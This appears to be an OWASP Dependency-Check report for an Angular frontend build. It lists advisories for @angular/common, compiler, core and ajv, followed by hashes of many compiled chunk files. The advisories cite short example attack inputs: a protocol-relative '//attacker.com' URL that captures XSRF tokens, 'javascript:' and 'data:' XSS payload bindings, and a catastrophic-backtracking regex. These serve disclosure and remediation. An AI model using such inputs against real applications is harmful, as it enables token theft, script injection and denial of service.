Dependency-Check is an open source tool performing a best effort analysis of 3rd party dependencies; false positives and false negatives may exist in the analysis performed by the tool. Use of the tool and the reporting provided constitutes acceptance for use in an AS IS condition, and there are NO warranties, implied or otherwise, with regard to the analysis or its use. Any use of the tool and the reporting provided is at the user’s risk. In no event shall the copyright holder or OWASP be held liable for any damages whatsoever arising out of or in connection with the use of this tool, the analysis performed, or the resulting report.
Summary of Vulnerable Dependencies (click to show all)
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/common
Referenced In Project/Scope: package-lock.json: transitive
The vulnerability is a **Credential Leak by App Logic** that leads to the **unauthorized disclosure of the Cross-Site Request Forgery (XSRF) token** to an attacker-controlled domain. Angular's HttpClient has a built-in XSRF protection mechanism that works by checking if a request URL starts with a protocol (`http://` or `https://`) to determine if it is cross-origin. If the URL starts with protocol-relative URL (`//`), it is incorrectly treated as a same-origin request, and the XSRF token is automatically added to the `X-XSRF-TOKEN` header. ### Impact The token leakage completely bypasses Angular's built-in CSRF protection, allowing an attacker to capture the user's valid XSRF token. Once the token is obtained, the attacker can perform arbitrary Cross-Site Request Forgery (CSRF) attacks against the victim user's session. ### Attack Preconditions 1. The victim's Angular application must have **XSRF protection enabled**. 2. The attacker must be able to make the application send a state-changing HTTP request (e.g., `POST`) to a **protocol-relative URL** (e.g., `//attacker.com`) that they control. ### Patches - 19.2.16 - 20.3.14 - 21.0.1 ### Workarounds Developers should avoid using protocol-relative URLs (URLs starting with `//`) in HttpClient requests. All backend communication URLs should be hardcoded as relative paths (starting with a single `/`) or fully qualified, trusted absolute URLs.CWE-359 Exposure of Private Personal Information to an Unauthorized Actor, CWE-201 Insertion of Sensitive Information Into Sent Data
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/compiler
Referenced In Project/Scope: package-lock.json: transitive
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context. In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections. When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script. ### Impact When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to: - **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens. - **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application. - **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user. ### Attack Preconditions 1. The victim application must explicitly use SVG `<script>` elements within its templates. 2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts. 3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses). ### Patches - 19.2.18 - 20.3.16 - 21.0.7 - 21.1.0-rc.0 ### Workarounds Until the patch is applied, developers should: - **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements. - **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template. ### Resources - https://github.com/angular/angular/pull/66318CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
A **Stored Cross-Site Scripting ([XSS](https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss))** vulnerability has been identified in the **Angular Template Compiler**. It occurs because the compiler's internal security schema is incomplete, allowing attackers to bypass Angular's built-in security sanitization. Specifically, the schema fails to classify certain URL-holding attributes (e.g., those that could contain [`javascript:` URLs](https://developer.mozilla.org/en-US/Web/URI/Reference/Schemes/javascript)) as requiring strict URL security, enabling the injection of malicious scripts. Additionally, a related vulnerability exists involving SVG animation elements (`<animate>`, `<set>`, `<animateMotion>`, `<animateTransform>`). The `attributeName` attribute on these elements was not properly validated, allowing attackers to dynamically target security-sensitive attributes like `href` or `xlink:href` on other elements. By binding `attributeName` to "href" and providing a `javascript:` URL in the `values` or `to` attribute, an attacker could bypass sanitization and execute arbitrary code. Attributes confirmed to be vulnerable include: * SVG-related attributes: (e.g., `xlink:href`), and various MathML attributes (e.g., `math|href`, `annotation|href`). * SVG animation `attributeName` attribute when bound to "href" or "xlink:href". When template binding is used to assign untrusted, user-controlled data to these attributes (e.g., `[attr.xlink:href]="maliciousURL"` or `<animate [attributeName]="'href'" [values]="maliciousURL">`), the compiler incorrectly falls back to a non-sanitizing context or fails to block the dangerous attribute assignment. This allows an attacker to inject a `javascript:URL` payload. Upon user interaction (like a click) on the element, or automatically in the case of animations, the malicious JavaScript executes in the context of the application's origin. ### Impact When exploited, this vulnerability allows an attacker to execute arbitrary code within the context of the vulnerable application's domain. This enables: * **Session Hijacking:** Stealing session cookies and authentication tokens. * **Data Exfiltration:** Capturing and transmitting sensitive user data. * **Unauthorized Actions:** Performing actions on behalf of the user. ### Patches - 19.2.17 - 20.3.15 - 21.0.2 ### Attack Preconditions * The victim's Angular application must render data derived from **untrusted input** (e.g., from a database or API) and bind it to one of the unsanitized URL attributes or the `attributeName` of an SVG animation element. * The victim must perform a **user interaction** (e.g., clicking) on the compromised element for the stored script to execute, or the animation must trigger the execution. ### Workarounds If you cannot upgrade, you can workaround the issue by ensuring that any data bound to the vulnerable attributes is never sourced from untrusted user input (e.g., database, API response, URL parameters). * **Avoid Affected Template Bindings:** Specifically avoid using template bindings (e.g., `[attr.xlink:href]="maliciousURL"`) to assign untrusted data to the vulnerable SVG/MathML attributes. * **Avoid Dynamic `attributeName` on SVG Animations:** Do not bind untrusted data to the `attributeName` attribute of SVG animation elements (`<animate>`, `<set>`, etc.). * **Enable [Content Security Policy (CSP)](https://angular.dev/best-practices/security#content-security-policy):** Configure a robust CSP header that disallows `javascript:` URLs.CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?@angular/core
Referenced In Project/Scope: package-lock.json: transitive
A Cross-Site Scripting (XSS) vulnerability has been identified in the Angular Template Compiler. The vulnerability exists because Angular’s internal sanitization schema fails to recognize the `href` and `xlink:href` attributes of SVG `<script>` elements as a **Resource URL** context. In a standard security model, attributes that can load and execute code (like a script's source) should be strictly validated. However, because the compiler does not classify these specific SVG attributes correctly, it allows attackers to bypass Angular's built-in security protections. When template binding is used to assign user-controlled data to these attributes for example, `<script [attr.href]="userInput">` the compiler treats the value as a standard string or a non-sensitive URL rather than a resource link. This enables an attacker to provide a malicious payload, such as a `data:text/javascript` URI or a link to an external malicious script. ### Impact When successfully exploited, this vulnerability allows for **arbitrary JavaScript execution** within the context of the victim's browser session. This can lead to: - **Session Hijacking:** Stealing session cookies, localStorage data, or authentication tokens. - **Data Exfiltration:** Accessing and transmitting sensitive information displayed within the application. - **Unauthorized Actions:** Performing state-changing actions (like clicking buttons or submitting forms) on behalf of the authenticated user. ### Attack Preconditions 1. The victim application must explicitly use SVG `<script>` elements within its templates. 2. The application must use property or attribute binding (interpolation) for the `href` or `xlink:href` attributes of those SVG scripts. 3. The data bound to these attributes must be derived from an untrusted source (e.g., URL parameters, user-submitted database entries, or unsanitized API responses). ### Patches - 19.2.18 - 20.3.16 - 21.0.7 - 21.1.0-rc.0 ### Workarounds Until the patch is applied, developers should: - **Avoid Dynamic Bindings**: Do not use Angular template binding (e.g., `[attr.href]`) for SVG `<script>` elements. - **Input Validation**: If dynamic values must be used, strictly validate the input against a strict allowlist of trusted URLs on the server side or before it reaches the template. ### Resources - https://github.com/angular/angular/pull/66318CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript. Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user. If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript. ### Impact When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to: - **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server. - **Page Vandalism:** Mutating the page to read or act differently than intended by the developer. ### Attach Preconditions - **The attacker must compromise the translation file (xliff, xtb, etc.).** - Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client. - The victim application must use Angular i18n. - The victim application must use one or more ICU messages. - The victim application must render an ICU message. - The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API). ### Patches - 21.2.0 - 21.1.6 - 20.3.17 - 19.2.19 ### Workarounds Until the patch is applied, developers should consider: - **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application. - **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page. - [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization. ### References - [Fix](https://github.com/angular/angular/pull/67183)CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?ajv
Referenced In Project/Scope: package-lock.json: transitive
ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.CWE-400 Uncontrolled Resource Consumption, CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-3W5DFRBO.js
MD5: c286e4638c4f493da8b0a1cf5895a678
SHA1: b29b56e2734c807f252b565b2ee4dc2493d154ff
SHA256:0e9e24b8137d25268a61aabdfa2689f5a9097342c8c3dcd26f4d14a31d5c08b2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4IDNTCH7.js
MD5: 492248c6fedb4bedf5cd3fad8a41ea11
SHA1: 55353524914d21fc0e9f257a184a66e06fc4e304
SHA256:10b852d2b3bb8e267c036324b7123aeec82d3cd34252db7bff6c6527bb52d452
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4JAYGMAJ.js
MD5: a20929839e1c5efb317d62377bdc0ba5
SHA1: 39b34763095f4eb7eb4091c2deede990c9d503b9
SHA256:62766515be2acd96cfb609354328a03bd4adc21eac2eab6636eb473be83394eb
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5CPB2O4U.js
MD5: ed73d516ed966a8f1ab7e485e021c676
SHA1: 40c2217431d4b61f75be9865b9fb7a75c90c0e47
SHA256:89ebc45ee1f6a4978f7b716a2c05fe16ce4c11dbb2a28cecd038783e2ae07366
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-65Y3UMUB.js
MD5: cb7023806a978a8537a9af2aa52bdb02
SHA1: 40a7fbeee2af1efefc67d570c2ff11279e821140
SHA256:e2729471c61bb00303297f6138fd422c5f1ea23fe468cd4249533b15d6ebe4f3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-6OGKHEVT.js
MD5: 7350f77b84e9a8f8c9c757a8a501ba2a
SHA1: ba561260e69ccd76b8d4b2d5d6deb9dcd9292b5d
SHA256:84e1e209a63f7f7377f3d31dd8116d8c47baa7746287422fec9d187c4b4863ff
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-7AWS35PM.js
MD5: badc9f2bdbe1ddcee43597b134122462
SHA1: 3b471a3e71b1f8aa8a5b1443ffa4a43bd9b4b84d
SHA256:c28f81b49aa3c9ae9259003921e0d4380bd7d81943f10eca16fddabeed5eef76
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-AYB3SWWS.js
MD5: a0027daad130388cd7f4299508914401
SHA1: 8a8f298063ac044cfd18a586a490b1366d2fe782
SHA256:a4a23cd5b5b5f27e78a99675f4590e4968d7eba12556b21672370c76cd08f190
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-B42A47TW.js
MD5: 7990f5676ff80cbf71a84fb0d08a0d5b
SHA1: 2140ccc53d58835827f342443af1fe5ab54879bf
SHA256:e351dd9358f3da2d4d1d493c234819ac7a77fd7fcbd59f3283eacb693ed636f0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BG6VN43N.js
MD5: 9d1f2542dee7be988e6a7c53540ba996
SHA1: 6b5b6a858402168858261e59e37b5c5456ad81d5
SHA256:d69fef67a7b52b0ffac01331ef77e5a05866776d51cd1e279b87a102d55c53b6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BHO3K4YE.js
MD5: 163e0406af5596a227352e0b042eabbb
SHA1: 93dc97d1bd6906cc499d3d7b1953c1e177ba3bdc
SHA256:7899456a300d6d5f888ea3202a91439bd1c73f8e2f82e170f4da8c1c0bd72719
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BLSEQJXN.js
MD5: 6861b19caed1127f6c74d39e439609d9
SHA1: bed4e94d2cb625359d3c6b1cd7f075da89de5e7a
SHA256:67a55bc7e12f58660fb7df47315967c0809d6c87eb26fbf802a1ae261abb5e7b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-CQZ3LGC7.js
MD5: 0f1f2830b3220215e673a03e01d6bc2a
SHA1: 136ccc069006cda89cc7823bccd3895977cd6875
SHA256:9aeab1babe3eab0cd786d6d45d0b918440c944f7589253a1a583a69c0f501510
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DP4F5TQA.js
MD5: 9204c168d2dd7f3887c241ce540df6fd
SHA1: e160caa379daba2fd8dc649bd275a5438d7370e8
SHA256:498da39df825ce7de8ee3d16ed7ea119fe1fd7dc1af3882b37c056f79fd6e705
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DRL7674B.js
MD5: 5455af00b5dc9972262a202207ef72b2
SHA1: 89d8ae06fad50734e2516995acc99014faf70387
SHA256:30223bd24b898e9c9efb8f683783826e57460465e3115fabb86290a1a35086e6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DX6SIO5A.js
MD5: 7c895db0e2a279b94566ad10b3971514
SHA1: c54e37cbe2e306d7f410938fcefec0d060225a8b
SHA256:e7688f6f678766f22ff8cd4503f365fda2c09782f8fae720d6e9d63a9634d11e
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-FDKS77ZO.js
MD5: b59eaa9d71175e872eec3f324d325c14
SHA1: b2e9f81f8bfe39206b163dc3765d622082cd46c9
SHA256:1dd55212b6ccb738e1369bf637f207a410a9fdd3e4e837e9e8013bfe7a85eb89
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-FYVSUJEN.js
MD5: 046bf9841139692fb846658b83a7fe69
SHA1: bf505322da3d5face336f9c2e525697f94dc2fcb
SHA256:8321fd00784af35e4f338666b985fdac1e839f2ee8ae6e9da99b177d6ada9dad
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-GB6G3STS.js
MD5: a8df04d165fc53b4d1d9680996d08dcd
SHA1: f4e8d30a0a283c92eac99e52340961c37447d591
SHA256:f90af0d95babbcf1be3d51a7adc32a7e19a22eed9bf50104745b054e1bfdadd2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-H7ENNXHV.js
MD5: 15158c03bd3d91b3afa6bab47133f7fc
SHA1: 3d22e377c8a16577ba72dfe96981cf2b4df96d37
SHA256:9b1768c04ea190bc6569859199d3781e532280410947601f6c5411d1b775e804
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-HCICJLXG.js
MD5: 26a0ce19cc336d78bca2fca6d7ed5e25
SHA1: 3858078e46928e518ab8ae77b47015c7cad76f48
SHA256:b5c7d92d645b6b643859659dfac2687ef7919e70228cdb365a80ba609a7c847b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-HGBULXKF.js
MD5: a9420e3edc78a6672ff6a4c7a0a5af71
SHA1: 6f6f31265de62a86e28b055f931ef16913afc7ca
SHA256:451c5532f26a1056c8b6fe24500f52a22921a0f8ca6cc66d546afe616e6cf1a3
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-I46VRRDT.js
MD5: 2d2d068c2b1759cb2b6ce0dea3a186c4
SHA1: 1984efbbbb65c61a9ea1c5d383e21ff06dfd33d7
SHA256:b82a54b9ccc44a086e531df437ca67339253f11dda6feae26e3aace96284047b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-I7FJHJ2Q.js
MD5: b47faa226764600b934dd42d37382b7c
SHA1: a5d2d7a6104d6daa7eea3995d9af74e076861b6f
SHA256:e44714ebcd60ddf7f3c6e043b975243a227e22c6bf3d3ca0a369e7201768044b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IHVYAHLJ.js
MD5: 3cc84cdad116063b767627524e97d9ca
SHA1: 041e35bfe5c3bea17da145adda9e21a5099743e5
SHA256:6a6f7f224829d637c34814c122fd0ca935632c40b76b500161400f8c1d3895ef
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JOZPUFRT.js
MD5: d3df36474c6213d7062f4682f486ce50
SHA1: 0bb444cef83065c9dbdfad5bfbad9db088e5250b
SHA256:ffd7ea3bfd40f86e2d63b34a8aca29ad425ea209fcc121c168395210ef1b7c67
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-K23RMJFH.js
MD5: 7795b98ee639c49579ca4f088bb2757e
SHA1: 928c5da8528fc702ace776ed6f252b648b4a9a9c
SHA256:6eabbb48149e054d57d56c08fae72a8600734aa17bb7829d0e2f365cd6dc66ad
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-K5DTDAXT.js
MD5: 286bd4f40358d6fd6ff0b000031aa04f
SHA1: a10c187c271a7958f4407ac630062ec4aaab2bed
SHA256:c3acbfdd39ee6409b4cd431896d8b9d822f8670e9b83df89b7757ba8a27e57cf
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KNNTOBUQ.js
MD5: c679417262f1b7a727d52007f124bdd3
SHA1: a2fc7534285f02534bc0cc6b213489e2b33576c1
SHA256:5f3e7a4c0710a74ffe47bba89f007a3787840d735789b210e2ea4285c83eb3b6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KVER3GKB.js
MD5: b7272f2707c3b54327819e1d7c644d40
SHA1: 5b5dcc935d7f29b2185d30c471404cf0b7294b43
SHA256:ca976789a3f4cb15696f6576159679cc2b0c8469a81fbf121f63c2609f9d1c0e
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KWK3HKEC.js
MD5: d6b8e5c843e978f4f415c03cce1fa21c
SHA1: ac2e6456810dca27053de6aa0ebbb102dddcf462
SHA256:f2d97620e253211ced49a910a6f59ca2bdbfd7f9eaf4c7c032bc0a45cb00824b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-L6PIGQ7Z.js
MD5: 2081cf4fed524c9559987b72ddee879d
SHA1: c34522c47c3017727f9976b6ddbbe5e78b70e5ef
SHA256:f7eb80e83721d2eb51c4fa368339480bdbd5e7170077506e8218943f47f50467
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LALFTQDI.js
MD5: caa7cb08328ce7400d87968f67f6100a
SHA1: 29bbadbaa0dd4a20f3bae68158aa132e4db6a2e5
SHA256:d4ad61af2cf9da5dbfc907e88df34305db6d200be7d19b22f154566940218ef0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LCOBF62P.js
MD5: 23b97053b0ab6c9ec87200c00095b229
SHA1: dbc8df9a64077212f4e675aeee5ce01dc57b9fd5
SHA256:abfb07ab77ddeee1350756c138eaddd3f1199695f85401c69203ab5e894ccc13
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LO6CN7KB.js
MD5: e43716baef41b1dcb0eaf3f729d6e5e9
SHA1: 2f2e49ac838c01cdd563de5a9d1b29bb34496ed7
SHA256:c45fac5253b7dd8eacac60af50527adb9a9eeb2874abdaada39ad648da68d7ab
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LR2MFQOX.js
MD5: c8bde748e2737d4e1363d65bc51035ae
SHA1: 5436ab00c2f83fbda3fd1b3502416f86ae0876c9
SHA256:97f27af2bff73141c0b365963f05d34a13c1d6e5edeaa7f9f7553d876781c3f5
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-M6DNAWLE.js
MD5: 4f53aa32c3fd6f2997d15955600ad852
SHA1: e1287a8ed39631ce50e688e1d67f76ad8a0b18e8
SHA256:244ad08886e5fbc89860e1057e2275769fcc906abd5f40583cd1d852521d96d0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MKIAZQUA.js
MD5: 7d7cbe1f0f41e7868700c8a891a72287
SHA1: e27a1c411c17f097069408ba734e63e24e0d9644
SHA256:365ddc08941d2ca27d8fa93d882f8d78fa7cd06ca695fd1dfc275efa72484c64
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MMKHBAMC.js
MD5: 2ceeace9d51e45ac035f02c95caf2869
SHA1: dc8ed1c19e4c70b78c834fa75e440569dc7c2ec3
SHA256:d9ae060ea0569d17cf879a8bbaf199f7f7113762f1770dc628bb6cd8f31cdbc2
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PCRZMXVQ.js
MD5: def2b1bbf445218cd5bdd0f0ccd54f40
SHA1: 11c965fe1f69daa969b679d18bfb2c3a97b1fb61
SHA256:adfb423ae8a792c122a4669f275378f77cc16232518d67b85f4fe98e5e14549e
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PPHO7KID.js
MD5: 5eb9d578195a709bd04a21c0584e0bd5
SHA1: a4ebf1e87f4ebeb2895654738206eee8992d42c1
SHA256:5e852cf6887e9e56471572a8d5f75fa35729c5138e0f580a62055723e9061521
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-PYZZLTBQ.js
MD5: 80df5c596ce45d316be16f3647db069b
SHA1: 48c8a4010f4e843edb7a9acfd3c365bd2bee6d98
SHA256:e4105e552ecaaf57a1fca5d0ce06781390769fed25950c7dbad6f840121427a4
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-Q6GD6NEO.js
MD5: 6ba5831757c18fcd75ef5bc0668a0809
SHA1: 750b41f6809603ea940528a403b9a1f1e3c791e1
SHA256:56baaf1a1cdc3cbbf736dfe2637e9cf3facee6f712f40111319c1b5569d2485b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-QEGSHAMZ.js
MD5: f4acfe17bcb08aecdd0c5b566c793734
SHA1: 114025917ca84f0baec5231f24f980775c68ef45
SHA256:dcd296ae023c9f468b6fc0efc2b8addba709ed450598711c50de7e9b4782c283
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-QWE6RDH2.js
MD5: fa73a667cf88b847ee8c66de52497fe2
SHA1: 828185c23788bd72a58a7742f8ed8820190a81b1
SHA256:12e0ca67a567b3bd0b5b04bbb8bdb13d71855980a4ed6c85db7b377b1c0e7a5f
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-R25HY6EA.js
MD5: f9edf9c58808cfcaa502f882291f523d
SHA1: 6ee0188db5eff62d72644e25b8e0dce96a5e98bb
SHA256:a3c9712076b225fc40bc8734f2188f1ee25948926dede327d0a57aef423ae02c
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-RAGU6YDF.js
MD5: c3ba315b36d6b20150da94cbe71f4e05
SHA1: ca45fc48e8905fc1f469103f168bb57cd4fef254
SHA256:92a572ef1a31e2c329f29ba37f596fb47c5dd619f1c2789b95846c5e6507eda6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-SS3AZUBG.js
MD5: a50bb46f36f7cac1ccbc420f9d269503
SHA1: 2459e7c50b999979d98329cabc29e6fee8a0d4f1
SHA256:dd03a5f69cf8395d0093f61b66cb9a7c39e1f77fa1fad06da695ee13d2b98af0
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TC6IYJRI.js
MD5: 769ec650e7518bbe77b87bca9325d88b
SHA1: e8d0a2eef0a4c0b96e025e2e3bc1de1bd9e02915
SHA256:d2e1aa11c63f8e8ca811379de61b6dbd44e3b24159653b85fa7fcdf58a7513d6
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TF33T3UH.js
MD5: f0643542d124a3b267d1a846a6f9a48b
SHA1: 2cde422ef072b5a5cb08d7ebdbc7954f57d9797d
SHA256:3cb89446349dd2e54f43fc8dd10268ceea90fb0b830bdec58145a643ca8912ca
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-THLO5KKG.js
MD5: fd7d120990d651367117b829f57f3f19
SHA1: 5d40f6471c67ed3f26d490d814438fd7205cd2dc
SHA256:b6853b57fb7b5f651386a0ed05cf4ba779190fb8f1ac302592874352bdbd604c
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-TRL56STW.js
MD5: bc2d69c278a4655b6332eea43059b908
SHA1: 69dee548bfb93e2b858fd523434a6585c80bfc95
SHA256:6c34b45c41f218e4457bd25ede4906cc56a8bc59b66bfad713fd94211195a441
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-UJRMHFDQ.js
MD5: 32c27a2f7a64858411fe8ddd90d7ca71
SHA1: ef04f9339ca4a12bb607ec054040f11d3ad1790c
SHA256:aa0c5b2746c7aeafa6da6b3bc7f8055dadf93ba6503c687345e6e4eb97be0248
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-VNT7D2D2.js
MD5: 0ef9192d9c54d09729a3f6b62c958b10
SHA1: 41c6373f98fc57a7eb895df268ddb2a82a663941
SHA256:ed760aa80dbb2d898f02d8d4a6aa02b43578f55ccd24027c3816df260814405a
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WAU3Q6OF.js
MD5: 05af952747deef87a0997cf9e76d9123
SHA1: c0b10acd2c0c436b3faf53b13d3c1e9aad77c20d
SHA256:e08e9c8a566316ada864f2d6f1a5be13d345f8f33812c7bbabe6e52a9aa598f9
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WFMBOKO4.js
MD5: be03f7aedf2b0db4822d7408656c9cb4
SHA1: 72208e3a0f85c79ac6bab9411ccfe626eb9af1ef
SHA256:1cf032552fbc8a9466f20dab2fc1f2b0d302262000134b75f2ee9edf77f9b706
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WHSEWC2X.js
MD5: abb3eb5bf5697478241b57dbfdcdc859
SHA1: 0ab9775c929a4f1934a9fef8a7f0a030a6e59609
SHA256:6ebc6951afcfa4b33d2a335ceabe2d36d63a7d380864290e2e58b3878b0dbe3b
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-WISAEPRY.js
MD5: dc0e003d94993c657f9dd47a80168a04
SHA1: c2979fb07633fddcf2d7ff9609f297f5a338c915
SHA256:69f616e8bc0456cba7b9f9f8c4cd8695d3b9451e5d89530d12a5281899ba4682
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-XVPANEDL.js
MD5: 6fc4632cc134aa35750a2d7ef49d3d8a
SHA1: f1cce1a8afca066185295bd784b6e832c588570e
SHA256:22afe1cbdf8fcb5a90c95797a8ca7377480cd228fa526ed96ef1f8d3bfe926e8
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-Y5L3API7.js
MD5: df89af15a1fa6a9a2d881c64c8448ccf
SHA1: 71598d2f45beb88f28e63c204ff2502654d01269
SHA256:8ab96999cc7ffaca50578b8d4f75e61b460e7dd08470be507fbd04ccf6a173fa
